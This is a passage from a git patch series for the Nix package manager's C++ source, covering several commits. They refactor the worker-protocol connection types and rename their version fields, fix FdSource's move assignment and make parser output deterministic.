CommonSSHStoreConfig return "Experimental SSH Store"; } + static std::set uriSchemes() + { + return {"ssh-ng"}; + } + std::string doc() override; }; @@ -40,6 +45,11 @@ struct MountedSSHStoreConfig : virtual SSHStoreConfig, virtual LocalFSStoreConfi return "Experimental SSH Store with filesystem mounted"; } + static std::set uriSchemes() + { + return {"mounted-ssh-ng"}; + } + std::string doc() override; std::optional experimentalFeature() const override diff --git a/src/libstore/store-api.hh b/src/libstore/store-api.hh index 749d7ea09..7d5f533c5 100644 --- a/src/libstore/store-api.hh +++ b/src/libstore/store-api.hh @@ -216,6 +216,10 @@ public: virtual ~Store() { } + /** + * @todo move to `StoreConfig` one we store enough information in + * those to recover the scheme and authority in all cases. + */ virtual std::string getUri() = 0; /** @@ -897,7 +901,7 @@ struct Implementations { if (!registered) registered = new std::vector(); StoreFactory factory{ - .uriSchemes = T::uriSchemes(), + .uriSchemes = TConfig::uriSchemes(), .create = ([](auto scheme, auto uri, auto & params) -> std::shared_ptr diff --git a/src/libstore/uds-remote-store.hh b/src/libstore/uds-remote-store.hh index 0e9542eab..a8e571664 100644 --- a/src/libstore/uds-remote-store.hh +++ b/src/libstore/uds-remote-store.hh @@ -36,6 +36,10 @@ struct UDSRemoteStoreConfig : virtual LocalFSStoreConfig, virtual RemoteStoreCon protected: static constexpr char const * scheme = "unix"; + +public: + static std::set uriSchemes() + { return {scheme}; } }; class UDSRemoteStore : public virtual UDSRemoteStoreConfig @@ -59,9 +63,6 @@ public: std::string getUri() override; - static std::set uriSchemes() - { return {scheme}; } - ref getFSAccessor(bool requireValidPath = true) override { return LocalFSStore::getFSAccessor(requireValidPath); } From c1d5cf6f349a459c8b5dee9dad271a529cee6679 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 17 Jul 2024 15:27:15 +0200 Subject: [PATCH 1133/1251] Factor out commonality between WorkerProto::Basic{Client,Server}Connection This also renames clientVersion and daemonVersion to the more correct protoVersion (since it's the version agreed to by both sides). --- src/libstore/daemon.cc | 29 +++-- src/libstore/daemon.hh | 4 +- src/libstore/remote-store.cc | 38 +++--- .../unix/build/local-derivation-goal.cc | 7 +- src/libstore/worker-protocol-connection.cc | 20 +-- src/libstore/worker-protocol-connection.hh | 114 ++++++------------ src/libstore/worker-protocol.hh | 1 + src/nix/unix/daemon.cc | 17 ++- 8 files changed, 100 insertions(+), 130 deletions(-) diff --git a/src/libstore/daemon.cc b/src/libstore/daemon.cc index 5c5080f8a..fc14eda3c 100644 --- a/src/libstore/daemon.cc +++ b/src/libstore/daemon.cc @@ -1020,8 +1020,8 @@ static void performOp(TunnelLogger * logger, ref store, void processConnection( ref store, - FdSource & from, - FdSink & to, + FdSource && from, + FdSink && to, TrustedFlag trusted, RecursiveFlag recursive) { @@ -1037,7 +1037,12 @@ void processConnection( if (clientVersion < 0x10a) throw Error("the Nix client version is too old"); - auto tunnelLogger = new TunnelLogger(to, clientVersion); + WorkerProto::BasicServerConnection conn; + conn.to = std::move(to); + conn.from = std::move(from); + conn.protoVersion = clientVersion; + + auto tunnelLogger = new TunnelLogger(conn.to, clientVersion); auto prevLogger = nix::logger; // FIXME if (!recursive) @@ -1050,12 +1055,6 @@ void processConnection( printMsgUsing(prevLogger, lvlDebug, "%d operations", opCount); }); - WorkerProto::BasicServerConnection conn { - .to = to, - .from = from, - .clientVersion = clientVersion, - }; - conn.postHandshake(*store, { .daemonNixVersion = nixVersion, // We and the underlying store both need to trust the client for @@ -1071,13 +1070,13 @@ void processConnection( try { tunnelLogger->stopWork(); - to.flush(); + conn.to.flush(); /* Process client requests. */ while (true) { WorkerProto::Op op; try { - op = (enum WorkerProto::Op) readInt(from); + op = (enum WorkerProto::Op) readInt(conn.from); } catch (Interrupted & e) { break; } catch (EndOfFile & e) { @@ -1091,7 +1090,7 @@ void processConnection( debug("performing daemon worker op: %d", op); try { - performOp(tunnelLogger, store, trusted, recursive, clientVersion, from, to, op); + performOp(tunnelLogger, store, trusted, recursive, clientVersion, conn.from, conn.to, op); } catch (Error & e) { /* If we're not in a state where we can send replies, then something went wrong processing the input of the @@ -1107,19 +1106,19 @@ void processConnection( throw; } - to.flush(); + conn.to.flush(); assert(!tunnelLogger->state_.lock()->canSendStderr); }; } catch (Error & e) { tunnelLogger->stopWork(&e); - to.flush(); + conn.to.flush(); return; } catch (std::exception & e) { auto ex = Error(e.what()); tunnelLogger->stopWork(&ex); - to.flush(); + conn.to.flush(); return; } } diff --git a/src/libstore/daemon.hh b/src/libstore/daemon.hh index 1964c0d99..a8ce32d8d 100644 --- a/src/libstore/daemon.hh +++ b/src/libstore/daemon.hh @@ -10,8 +10,8 @@ enum RecursiveFlag : bool { NotRecursive = false, Recursive = true }; void processConnection( ref store, - FdSource & from, - FdSink & to, + FdSource && from, + FdSink && to, TrustedFlag trusted, RecursiveFlag recursive); diff --git a/src/libstore/remote-store.cc b/src/libstore/remote-store.cc index 6e8931ca2..ebb0864c5 100644 --- a/src/libstore/remote-store.cc +++ b/src/libstore/remote-store.cc @@ -73,7 +73,7 @@ void RemoteStore::initConnection(Connection & conn) StringSink saved; TeeSource tee(conn.from, saved); try { - conn.daemonVersion = WorkerProto::BasicClientConnection::handshake( + conn.protoVersion = WorkerProto::BasicClientConnection::handshake( conn.to, tee, PROTOCOL_VERSION); } catch (SerialisationError & e) { /* In case the other side is waiting for our input, close @@ -115,7 +115,7 @@ void RemoteStore::setOptions(Connection & conn) << settings.buildCores << settings.useSubstitutes; - if (GET_PROTOCOL_MINOR(conn.daemonVersion) >= 12) { + if (GET_PROTOCOL_MINOR(conn.protoVersion) >= 12) { std::map overrides; settings.getSettings(overrides, true); // libstore settings fileTransferSettings.getSettings(overrides, true); @@ -175,7 +175,7 @@ bool RemoteStore::isValidPathUncached(const StorePath & path) StorePathSet RemoteStore::queryValidPaths(const StorePathSet & paths, SubstituteFlag maybeSubstitute) { auto conn(getConnection()); - if (GET_PROTOCOL_MINOR(conn->daemonVersion) < 12) { + if (GET_PROTOCOL_MINOR(conn->protoVersion) < 12) { StorePathSet res; for (auto & i : paths) if (isValidPath(i)) res.insert(i); @@ -198,7 +198,7 @@ StorePathSet RemoteStore::queryAllValidPaths() StorePathSet RemoteStore::querySubstitutablePaths(const StorePathSet & paths) { auto conn(getConnection()); - if (GET_PROTOCOL_MINOR(conn->daemonVersion) < 12) { + if (GET_PROTOCOL_MINOR(conn->protoVersion) < 12) { StorePathSet res; for (auto & i : paths) { conn->to << WorkerProto::Op::HasSubstitutes << printStorePath(i); @@ -221,7 +221,7 @@ void RemoteStore::querySubstitutablePathInfos(const StorePathCAMap & pathsMap, S auto conn(getConnection()); - if (GET_PROTOCOL_MINOR(conn->daemonVersion) < 12) { + if (GET_PROTOCOL_MINOR(conn->protoVersion) < 12) { for (auto & i : pathsMap) { SubstitutablePathInfo info; @@ -241,7 +241,7 @@ void RemoteStore::querySubstitutablePathInfos(const StorePathCAMap & pathsMap, S } else { conn->to << WorkerProto::Op::QuerySubstitutablePathInfos; - if (GET_PROTOCOL_MINOR(conn->daemonVersion) < 22) { + if (GET_PROTOCOL_MINOR(conn->protoVersion) < 22) { StorePathSet paths; for (auto & path : pathsMap) paths.insert(path.first); @@ -368,7 +368,7 @@ ref RemoteStore::addCAToStore( std::optional conn_(getConnection()); auto & conn = *conn_; - if (GET_PROTOCOL_MINOR(conn->daemonVersion) >= 25) { + if (GET_PROTOCOL_MINOR(conn->protoVersion) >= 25) { conn->to << WorkerProto::Op::AddToStore @@ -485,7 +485,7 @@ void RemoteStore::addToStore(const ValidPathInfo & info, Source & source, { auto conn(getConnection()); - if (GET_PROTOCOL_MINOR(conn->daemonVersion) < 18) { + if (GET_PROTOCOL_MINOR(conn->protoVersion) < 18) { auto source2 = sinkToSource([&](Sink & sink) { sink << 1 // == path follows ; @@ -513,11 +513,11 @@ void RemoteStore::addToStore(const ValidPathInfo & info, Source & source, << info.ultimate << info.sigs << renderContentAddress(info.ca) << repair << !checkSigs; - if (GET_PROTOCOL_MINOR(conn->daemonVersion) >= 23) { + if (GET_PROTOCOL_MINOR(conn->protoVersion) >= 23) { conn.withFramedSink([&](Sink & sink) { copyNAR(source, sink); }); - } else if (GET_PROTOCOL_MINOR(conn->daemonVersion) >= 21) { + } else if (GET_PROTOCOL_MINOR(conn->protoVersion) >= 21) { conn.processStderr(0, &source); } else { copyNAR(source, conn->to); @@ -554,7 +554,7 @@ void RemoteStore::addMultipleToStore( RepairFlag repair, CheckSigsFlag checkSigs) { - if (GET_PROTOCOL_MINOR(getConnection()->daemonVersion) >= 32) { + if (GET_PROTOCOL_MINOR(getConnection()->protoVersion) >= 32) { auto conn(getConnection()); conn->to << WorkerProto::Op::AddMultipleToStore @@ -572,7 +572,7 @@ void RemoteStore::registerDrvOutput(const Realisation & info) { auto conn(getConnection()); conn->to << WorkerProto::Op::RegisterDrvOutput; - if (GET_PROTOCOL_MINOR(conn->daemonVersion) < 31) { + if (GET_PROTOCOL_MINOR(conn->protoVersion) < 31) { conn->to << info.id.to_string(); conn->to << std::string(info.outPath.to_string()); } else { @@ -587,7 +587,7 @@ void RemoteStore::queryRealisationUncached(const DrvOutput & id, try { auto conn(getConnection()); - if (GET_PROTOCOL_MINOR(conn->daemonVersion) < 27) { + if (GET_PROTOCOL_MINOR(conn->protoVersion) < 27) { warn("the daemon is too old to support content-addressed derivations, please upgrade it to 2.4"); return callback(nullptr); } @@ -597,7 +597,7 @@ void RemoteStore::queryRealisationUncached(const DrvOutput & id, conn.processStderr(); auto real = [&]() -> std::shared_ptr { - if (GET_PROTOCOL_MINOR(conn->daemonVersion) < 31) { + if (GET_PROTOCOL_MINOR(conn->protoVersion) < 31) { auto outPaths = WorkerProto::Serialise>::read( *this, *conn); if (outPaths.empty()) @@ -644,9 +644,9 @@ void RemoteStore::buildPaths(const std::vector & drvPaths, BuildMod auto conn(getConnection()); conn->to << WorkerProto::Op::BuildPaths; - assert(GET_PROTOCOL_MINOR(conn->daemonVersion) >= 13); + assert(GET_PROTOCOL_MINOR(conn->protoVersion) >= 13); WorkerProto::write(*this, *conn, drvPaths); - if (GET_PROTOCOL_MINOR(conn->daemonVersion) >= 15) + if (GET_PROTOCOL_MINOR(conn->protoVersion) >= 15) conn->to << buildMode; else /* Old daemons did not take a 'buildMode' parameter, so we @@ -667,7 +667,7 @@ std::vector RemoteStore::buildPathsWithResults( std::optional conn_(getConnection()); auto & conn = *conn_; - if (GET_PROTOCOL_MINOR(conn->daemonVersion) >= 34) { + if (GET_PROTOCOL_MINOR(conn->protoVersion) >= 34) { conn->to << WorkerProto::Op::BuildPathsWithResults; WorkerProto::write(*this, *conn, paths); conn->to << buildMode; @@ -841,7 +841,7 @@ void RemoteStore::queryMissing(const std::vector & targets, { { auto conn(getConnection()); - if (GET_PROTOCOL_MINOR(conn->daemonVersion) < 19) + if (GET_PROTOCOL_MINOR(conn->protoVersion) < 19) // Don't hold the connection handle in the fallback case // to prevent a deadlock. goto fallback; @@ -889,7 +889,7 @@ void RemoteStore::connect() unsigned int RemoteStore::getProtocol() { auto conn(connections->get()); - return conn->daemonVersion; + return conn->protoVersion; } std::optional RemoteStore::isTrustedClient() diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index f968bbc5b..0dd102200 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -1526,10 +1526,11 @@ void LocalDerivationGoal::startDaemon() debug("received daemon connection"); auto workerThread = std::thread([store, remote{std::move(remote)}]() { - FdSource from(remote.get()); - FdSink to(remote.get()); try { - daemon::processConnection(store, from, to, + daemon::processConnection( + store, + FdSource(remote.get()), + FdSink(remote.get()), NotTrusted, daemon::Recursive); debug("terminated daemon connection"); } catch (SystemError &) { diff --git a/src/libstore/worker-protocol-connection.cc b/src/libstore/worker-protocol-connection.cc index 3a640051e..93d13d48e 100644 --- a/src/libstore/worker-protocol-connection.cc +++ b/src/libstore/worker-protocol-connection.cc @@ -58,7 +58,7 @@ std::exception_ptr WorkerProto::BasicClientConnection::processStderrReturn(Sink } else if (msg == STDERR_ERROR) { - if (GET_PROTOCOL_MINOR(daemonVersion) >= 26) { + if (GET_PROTOCOL_MINOR(protoVersion) >= 26) { ex = std::make_exception_ptr(readError(from)); } else { auto error = readString(from); @@ -114,7 +114,7 @@ std::exception_ptr WorkerProto::BasicClientConnection::processStderrReturn(Sink // explain to users what's going on when their daemon is // older than #4628 (2023). if (experimentalFeatureSettings.isEnabled(Xp::DynamicDerivations) - && GET_PROTOCOL_MINOR(daemonVersion) <= 35) { + && GET_PROTOCOL_MINOR(protoVersion) <= 35) { auto m = e.msg(); if (m.find("parsing derivation") != std::string::npos && m.find("expected string") != std::string::npos && m.find("Derive([") != std::string::npos) @@ -172,15 +172,15 @@ WorkerProto::ClientHandshakeInfo WorkerProto::BasicClientConnection::postHandsha { WorkerProto::ClientHandshakeInfo res; - if (GET_PROTOCOL_MINOR(daemonVersion) >= 14) { + if (GET_PROTOCOL_MINOR(protoVersion) >= 14) { // Obsolete CPU affinity. to << 0; } - if (GET_PROTOCOL_MINOR(daemonVersion) >= 11) + if (GET_PROTOCOL_MINOR(protoVersion) >= 11) to << false; // obsolete reserveSpace - if (GET_PROTOCOL_MINOR(daemonVersion) >= 33) + if (GET_PROTOCOL_MINOR(protoVersion) >= 33) to.flush(); return WorkerProto::Serialise::read(store, *this); @@ -188,12 +188,12 @@ WorkerProto::ClientHandshakeInfo WorkerProto::BasicClientConnection::postHandsha void WorkerProto::BasicServerConnection::postHandshake(const StoreDirConfig & store, const ClientHandshakeInfo & info) { - if (GET_PROTOCOL_MINOR(clientVersion) >= 14 && readInt(from)) { + if (GET_PROTOCOL_MINOR(protoVersion) >= 14 && readInt(from)) { // Obsolete CPU affinity. readInt(from); } - if (GET_PROTOCOL_MINOR(clientVersion) >= 11) + if (GET_PROTOCOL_MINOR(protoVersion) >= 11) readInt(from); // obsolete reserveSpace WorkerProto::write(store, *this, info); @@ -211,7 +211,7 @@ UnkeyedValidPathInfo WorkerProto::BasicClientConnection::queryPathInfo( throw InvalidPath(std::move(e.info())); throw; } - if (GET_PROTOCOL_MINOR(daemonVersion) >= 17) { + if (GET_PROTOCOL_MINOR(protoVersion) >= 17) { bool valid; from >> valid; if (!valid) @@ -223,10 +223,10 @@ UnkeyedValidPathInfo WorkerProto::BasicClientConnection::queryPathInfo( StorePathSet WorkerProto::BasicClientConnection::queryValidPaths( const StoreDirConfig & store, bool * daemonException, const StorePathSet & paths, SubstituteFlag maybeSubstitute) { - assert(GET_PROTOCOL_MINOR(daemonVersion) >= 12); + assert(GET_PROTOCOL_MINOR(protoVersion) >= 12); to << WorkerProto::Op::QueryValidPaths; WorkerProto::write(store, *this, paths); - if (GET_PROTOCOL_MINOR(daemonVersion) >= 27) { + if (GET_PROTOCOL_MINOR(protoVersion) >= 27) { to << maybeSubstitute; } processStderr(daemonException); diff --git a/src/libstore/worker-protocol-connection.hh b/src/libstore/worker-protocol-connection.hh index 9dd723fd0..38287d08e 100644 --- a/src/libstore/worker-protocol-connection.hh +++ b/src/libstore/worker-protocol-connection.hh @@ -6,7 +6,7 @@ namespace nix { -struct WorkerProto::BasicClientConnection +struct WorkerProto::BasicConnection { /** * Send with this. @@ -19,14 +19,45 @@ struct WorkerProto::BasicClientConnection FdSource from; /** - * Worker protocol version used for the connection. - * - * Despite its name, it is actually the maximum version both - * sides support. (If the maximum doesn't exist, we would fail to - * establish a connection and produce a value of this type.) + * The protocol version agreed by both sides. */ - WorkerProto::Version daemonVersion; + WorkerProto::Version protoVersion; + /** + * Coercion to `WorkerProto::ReadConn`. This makes it easy to use the + * factored out serve protocol serializers with a + * `LegacySSHStore::Connection`. + * + * The serve protocol connection types are unidirectional, unlike + * this type. + */ + operator WorkerProto::ReadConn() + { + return WorkerProto::ReadConn{ + .from = from, + .version = protoVersion, + }; + } + + /** + * Coercion to `WorkerProto::WriteConn`. This makes it easy to use the + * factored out serve protocol serializers with a + * `LegacySSHStore::Connection`. + * + * The serve protocol connection types are unidirectional, unlike + * this type. + */ + operator WorkerProto::WriteConn() + { + return WorkerProto::WriteConn{ + .to = to, + .version = protoVersion, + }; + } +}; + +struct WorkerProto::BasicClientConnection : WorkerProto::BasicConnection +{ /** * Flush to direction */ @@ -60,38 +91,6 @@ struct WorkerProto::BasicClientConnection */ ClientHandshakeInfo postHandshake(const StoreDirConfig & store); - /** - * Coercion to `WorkerProto::ReadConn`. This makes it easy to use the - * factored out serve protocol serializers with a - * `LegacySSHStore::Connection`. - * - * The serve protocol connection types are unidirectional, unlike - * this type. - */ - operator WorkerProto::ReadConn() - { - return WorkerProto::ReadConn{ - .from = from, - .version = daemonVersion, - }; - } - - /** - * Coercion to `WorkerProto::WriteConn`. This makes it easy to use the - * factored out serve protocol serializers with a - * `LegacySSHStore::Connection`. - * - * The serve protocol connection types are unidirectional, unlike - * this type. - */ - operator WorkerProto::WriteConn() - { - return WorkerProto::WriteConn{ - .to = to, - .version = daemonVersion, - }; - } - void addTempRoot(const StoreDirConfig & remoteStore, bool * daemonException, const StorePath & path); StorePathSet queryValidPaths( @@ -124,43 +123,8 @@ struct WorkerProto::BasicClientConnection void importPaths(const StoreDirConfig & store, bool * daemonException, Source & source); }; -struct WorkerProto::BasicServerConnection +struct WorkerProto::BasicServerConnection : WorkerProto::BasicConnection { - /** - * Send with this. - */ - FdSink & to; - - /** - * Receive with this. - */ - FdSource & from; - - /** - * Worker protocol version used for the connection. - * - * Despite its name, it is actually the maximum version both - * sides support. (If the maximum doesn't exist, we would fail to - * establish a connection and produce a value of this type.) - */ - WorkerProto::Version clientVersion; - - operator WorkerProto::ReadConn() - { - return WorkerProto::ReadConn{ - .from = from, - .version = clientVersion, - }; - } - - operator WorkerProto::WriteConn() - { - return WorkerProto::WriteConn{ - .to = to, - .version = clientVersion, - }; - } - /** * Establishes connection, negotiating version. * diff --git a/src/libstore/worker-protocol.hh b/src/libstore/worker-protocol.hh index 62a12d182..f4023f7ea 100644 --- a/src/libstore/worker-protocol.hh +++ b/src/libstore/worker-protocol.hh @@ -82,6 +82,7 @@ struct WorkerProto * * @todo remove once Hydra uses Store abstraction consistently. */ + struct BasicConnection; struct BasicClientConnection; struct BasicServerConnection; diff --git a/src/nix/unix/daemon.cc b/src/nix/unix/daemon.cc index 4a7997b1f..66d8dbcf0 100644 --- a/src/nix/unix/daemon.cc +++ b/src/nix/unix/daemon.cc @@ -370,9 +370,12 @@ static void daemonLoop(std::optional forceTrustClientOpt) } // Handle the connection. - FdSource from(remote.get()); - FdSink to(remote.get()); - processConnection(openUncachedStore(), from, to, trusted, NotRecursive); + processConnection( + openUncachedStore(), + FdSource(remote.get()), + FdSink(remote.get()), + trusted, + NotRecursive); exit(0); }, options); @@ -437,9 +440,11 @@ static void forwardStdioConnection(RemoteStore & store) { */ static void processStdioConnection(ref store, TrustedFlag trustClient) { - FdSource from(STDIN_FILENO); - FdSink to(STDOUT_FILENO); - processConnection(store, from, to, trustClient, NotRecursive); + processConnection( + store, + FdSource(STDIN_FILENO), + FdSink(STDOUT_FILENO), + trustClient, NotRecursive); } /** From d231d802f501a1992ebb5138b58883ced56234fe Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 17 Jul 2024 16:30:24 +0200 Subject: [PATCH 1134/1251] Typo --- src/libstore/worker-protocol.hh | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/libstore/worker-protocol.hh b/src/libstore/worker-protocol.hh index f4023f7ea..9fc16d015 100644 --- a/src/libstore/worker-protocol.hh +++ b/src/libstore/worker-protocol.hh @@ -184,8 +184,7 @@ enum struct WorkerProto::Op : uint64_t struct WorkerProto::ClientHandshakeInfo { /** - * The version of the Nix daemon that is processing our requests -. + * The version of the Nix daemon that is processing our requests. * * Do note, it may or may not communicating with another daemon, * rather than being an "end" `LocalStore` or similar. From fa7aa0389a2c13f5253eb4bf529aafab5d4a1d5f Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 17 Jul 2024 20:37:22 +0200 Subject: [PATCH 1135/1251] FdSource: Fix operator = This wasn't moving the underlying buffer, so if the buffer was non-empty, it could lose data. --- src/libutil/serialise.hh | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/src/libutil/serialise.hh b/src/libutil/serialise.hh index 18f4a79c3..8254a5f89 100644 --- a/src/libutil/serialise.hh +++ b/src/libutil/serialise.hh @@ -159,13 +159,7 @@ struct FdSource : BufferedSource FdSource(Descriptor fd) : fd(fd) { } FdSource(FdSource &&) = default; - FdSource & operator=(FdSource && s) - { - fd = s.fd; - s.fd = INVALID_DESCRIPTOR; - read = s.read; - return *this; - } + FdSource & operator=(FdSource && s) = default; bool good() override; protected: From 31e151386b1ce086de6a6ec4a6f0688b1b5dced6 Mon Sep 17 00:00:00 2001 From: Emily Date: Thu, 18 Jul 2024 17:56:12 +0100 Subject: [PATCH 1136/1251] libmain: add missing header include --- src/libmain/plugin.cc | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/libmain/plugin.cc b/src/libmain/plugin.cc index 52b5b60e4..ccfd7f900 100644 --- a/src/libmain/plugin.cc +++ b/src/libmain/plugin.cc @@ -2,6 +2,8 @@ # include #endif +#include + #include "config-global.hh" #include "signals.hh" From a6dccae2235ce4bb6a1f1552770eb59ff96f7e05 Mon Sep 17 00:00:00 2001 From: Silvan Mosberger Date: Wed, 17 Jul 2024 02:05:38 +0200 Subject: [PATCH 1137/1251] Fix non-deterministic parser printing In _very_ rare cases (I had about 7 cases out of 32200 files!), the order of how inherit-from bindings are printed when using `nix-instantiate --parse` gets messed up. The cause of this seems to be because the std::map the bindings are placed in is keyed on a _pointer_, which then uses an [implementation-defined strict total order](https://en.cppreference.com/w/cpp/language/operator_comparison#Pointer_total_order). The fix here is to key the bindings on their displacement instead, which maintains the same order as they appear in the file. Unfortunately I wasn't able to make a reproducible test for this in the source, there's something about the local environment that makes it unreproducible for me. However I was able to make a reproducible test in a Nix build on a Nix version from a very recent master: nix build github:infinisil/non-det-nix-parsing-repro Co-authored-by: Robert Hensing --- src/libexpr/nixexpr.cc | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/src/libexpr/nixexpr.cc b/src/libexpr/nixexpr.cc index 93c8bdef6..6c6769cfd 100644 --- a/src/libexpr/nixexpr.cc +++ b/src/libexpr/nixexpr.cc @@ -82,7 +82,9 @@ void ExprAttrs::showBindings(const SymbolTable & symbols, std::ostream & str) co return sa < sb; }); std::vector inherits; - std::map> inheritsFrom; + // We can use the displacement as a proxy for the order in which the symbols were parsed. + // The assignment of displacements should be deterministic, so that showBindings is deterministic. + std::map> inheritsFrom; for (auto & i : sorted) { switch (i->second.kind) { case AttrDef::Kind::Plain: @@ -93,7 +95,7 @@ void ExprAttrs::showBindings(const SymbolTable & symbols, std::ostream & str) co case AttrDef::Kind::InheritedFrom: { auto & select = dynamic_cast(*i->second.e); auto & from = dynamic_cast(*select.e); - inheritsFrom[&from].push_back(i->first); + inheritsFrom[from.displ].push_back(i->first); break; } } @@ -105,7 +107,7 @@ void ExprAttrs::showBindings(const SymbolTable & symbols, std::ostream & str) co } for (const auto & [from, syms] : inheritsFrom) { str << "inherit ("; - (*inheritFromExprs)[from->displ]->show(symbols, str); + (*inheritFromExprs)[from]->show(symbols, str); str << ")"; for (auto sym : syms) str << " " << symbols[sym]; str << "; "; From 0c91bb97e5579169fdac94ebfbb352ee1cc4a5ae Mon Sep 17 00:00:00 2001 From: Silvan Mosberger Date: Wed, 17 Jul 2024 02:43:42 +0200 Subject: [PATCH 1138/1251] parser: Remove empty multiline string parts earlier Makes parsing more consistent and is a super minor optimisation Co-authored-by: Robert Hensing --- src/libexpr/parser-state.hh | 13 ++++++++++++- tests/functional/lang/parse-okay-ind-string.exp | 2 +- 2 files changed, 13 insertions(+), 2 deletions(-) diff --git a/src/libexpr/parser-state.hh b/src/libexpr/parser-state.hh index 983a17a2e..d8287db9b 100644 --- a/src/libexpr/parser-state.hh +++ b/src/libexpr/parser-state.hh @@ -291,12 +291,23 @@ inline Expr * ParserState::stripIndentation(const PosIdx pos, s2 = std::string(s2, 0, p + 1); } - es2->emplace_back(i->first, new ExprString(std::move(s2))); + // Ignore empty strings for a minor optimisation and AST simplification + if (s2 != "") { + es2->emplace_back(i->first, new ExprString(std::move(s2))); + } }; for (; i != es.end(); ++i, --n) { std::visit(overloaded { trimExpr, trimString }, i->second); } + // If there is nothing at all, return the empty string directly. + // This also ensures that equivalent empty strings result in the same ast, which is helpful when testing formatters. + if (es2->size() == 0) { + auto *const result = new ExprString(""); + delete es2; + return result; + } + /* If this is a single string, then don't do a concatenation. */ if (es2->size() == 1 && dynamic_cast((*es2)[0].second)) { auto *const result = (*es2)[0].second; diff --git a/tests/functional/lang/parse-okay-ind-string.exp b/tests/functional/lang/parse-okay-ind-string.exp index 5f8d48688..82e9940a2 100644 --- a/tests/functional/lang/parse-okay-ind-string.exp +++ b/tests/functional/lang/parse-okay-ind-string.exp @@ -1 +1 @@ -(let string = "str"; in [ (/some/path) ((/some/path)) (("" + /some/path)) ((/some/path + "\n end")) (string) ((string)) (("" + string)) ((string + "\n end")) ("") ("") ("end") ]) +(let string = "str"; in [ (/some/path) ((/some/path)) ((/some/path)) ((/some/path + "\n end")) (string) ((string)) ((string)) ((string + "\n end")) ("") ("") ("end") ]) From 58a79b6943c7b102d876a2fc0af19ba45082f175 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 19 Jul 2024 13:35:46 +0200 Subject: [PATCH 1139/1251] performOp(): Take a WorkerProto::BasicServerConnection --- src/libstore/daemon.cc | 253 ++++++++++++++++++++--------------------- 1 file changed, 124 insertions(+), 129 deletions(-) diff --git a/src/libstore/daemon.cc b/src/libstore/daemon.cc index fc14eda3c..6533b2f58 100644 --- a/src/libstore/daemon.cc +++ b/src/libstore/daemon.cc @@ -269,26 +269,21 @@ struct ClientSettings }; static void performOp(TunnelLogger * logger, ref store, - TrustedFlag trusted, RecursiveFlag recursive, WorkerProto::Version clientVersion, - Source & from, BufferedSink & to, WorkerProto::Op op) + TrustedFlag trusted, RecursiveFlag recursive, + WorkerProto::BasicServerConnection & conn, + WorkerProto::Op op) { - WorkerProto::ReadConn rconn { - .from = from, - .version = clientVersion, - }; - WorkerProto::WriteConn wconn { - .to = to, - .version = clientVersion, - }; + WorkerProto::ReadConn rconn(conn); + WorkerProto::WriteConn wconn(conn); switch (op) { case WorkerProto::Op::IsValidPath: { - auto path = store->parseStorePath(readString(from)); + auto path = store->parseStorePath(readString(conn.from)); logger->startWork(); bool result = store->isValidPath(path); logger->stopWork(); - to << result; + conn.to << result; break; } @@ -296,8 +291,8 @@ static void performOp(TunnelLogger * logger, ref store, auto paths = WorkerProto::Serialise::read(*store, rconn); SubstituteFlag substitute = NoSubstitute; - if (GET_PROTOCOL_MINOR(clientVersion) >= 27) { - substitute = readInt(from) ? Substitute : NoSubstitute; + if (GET_PROTOCOL_MINOR(conn.protoVersion) >= 27) { + substitute = readInt(conn.from) ? Substitute : NoSubstitute; } logger->startWork(); @@ -311,13 +306,13 @@ static void performOp(TunnelLogger * logger, ref store, } case WorkerProto::Op::HasSubstitutes: { - auto path = store->parseStorePath(readString(from)); + auto path = store->parseStorePath(readString(conn.from)); logger->startWork(); StorePathSet paths; // FIXME paths.insert(path); auto res = store->querySubstitutablePaths(paths); logger->stopWork(); - to << (res.count(path) != 0); + conn.to << (res.count(path) != 0); break; } @@ -331,11 +326,11 @@ static void performOp(TunnelLogger * logger, ref store, } case WorkerProto::Op::QueryPathHash: { - auto path = store->parseStorePath(readString(from)); + auto path = store->parseStorePath(readString(conn.from)); logger->startWork(); auto hash = store->queryPathInfo(path)->narHash; logger->stopWork(); - to << hash.to_string(HashFormat::Base16, false); + conn.to << hash.to_string(HashFormat::Base16, false); break; } @@ -343,7 +338,7 @@ static void performOp(TunnelLogger * logger, ref store, case WorkerProto::Op::QueryReferrers: case WorkerProto::Op::QueryValidDerivers: case WorkerProto::Op::QueryDerivationOutputs: { - auto path = store->parseStorePath(readString(from)); + auto path = store->parseStorePath(readString(conn.from)); logger->startWork(); StorePathSet paths; if (op == WorkerProto::Op::QueryReferences) @@ -360,16 +355,16 @@ static void performOp(TunnelLogger * logger, ref store, } case WorkerProto::Op::QueryDerivationOutputNames: { - auto path = store->parseStorePath(readString(from)); + auto path = store->parseStorePath(readString(conn.from)); logger->startWork(); auto names = store->readDerivation(path).outputNames(); logger->stopWork(); - to << names; + conn.to << names; break; } case WorkerProto::Op::QueryDerivationOutputMap: { - auto path = store->parseStorePath(readString(from)); + auto path = store->parseStorePath(readString(conn.from)); logger->startWork(); auto outputs = store->queryPartialDerivationOutputMap(path); logger->stopWork(); @@ -378,37 +373,37 @@ static void performOp(TunnelLogger * logger, ref store, } case WorkerProto::Op::QueryDeriver: { - auto path = store->parseStorePath(readString(from)); + auto path = store->parseStorePath(readString(conn.from)); logger->startWork(); auto info = store->queryPathInfo(path); logger->stopWork(); - to << (info->deriver ? store->printStorePath(*info->deriver) : ""); + conn.to << (info->deriver ? store->printStorePath(*info->deriver) : ""); break; } case WorkerProto::Op::QueryPathFromHashPart: { - auto hashPart = readString(from); + auto hashPart = readString(conn.from); logger->startWork(); auto path = store->queryPathFromHashPart(hashPart); logger->stopWork(); - to << (path ? store->printStorePath(*path) : ""); + conn.to << (path ? store->printStorePath(*path) : ""); break; } case WorkerProto::Op::AddToStore: { - if (GET_PROTOCOL_MINOR(clientVersion) >= 25) { - auto name = readString(from); - auto camStr = readString(from); + if 